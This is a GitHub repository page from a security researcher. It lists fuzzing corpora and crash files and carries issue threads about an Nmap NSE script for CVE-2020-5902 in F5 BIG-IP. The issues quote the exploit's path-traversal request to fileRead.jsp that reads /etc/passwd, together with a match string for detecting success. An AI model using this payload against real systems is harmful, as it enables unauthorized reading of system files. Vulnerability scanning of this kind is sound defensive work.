rootup / personalstuff

Upload files done during my research.

PersonalStuff

• sax.tar.xz - Epic sax guy video in (.m3u8) format.

• Telegram_Privacy.pdf - Privacy bug in Telegram.

• firefoxaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.lnk - Corpous for fuzzing liblnk.

• pack.sh - Standard packages to resolve common dependencies in Ubuntu 18.04.

• tcpcorpus.tar.xz - Corpous for fuzzing tcpdump.

• vim_crashes.zip - Crashes for VIM identified during fuzzing.

personalstuff's Issues

CVE-2020-5902 /etc/passwd => /etc/hosts

PersonalStuff/http-vuln-cve2020-5902.nse

Line 73 in 7e96eaa

local path = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"

If in case you are resulting in any false positives, would recommend modifying filename= to /etc/hosts

Unreliable - Suggested changes

I have found the results to be unreliable. After further testing on a mix of known vulnerable and non-vulnerable systems, I suggest the following changes:

Change line 34 to: local path = "/tmui/login.jsp/..;/tmui/locallb/workspace/fileRead.jsp?fileName=/etc/passwd"

Change line 38 to: local match = 'root:x:0:0:root'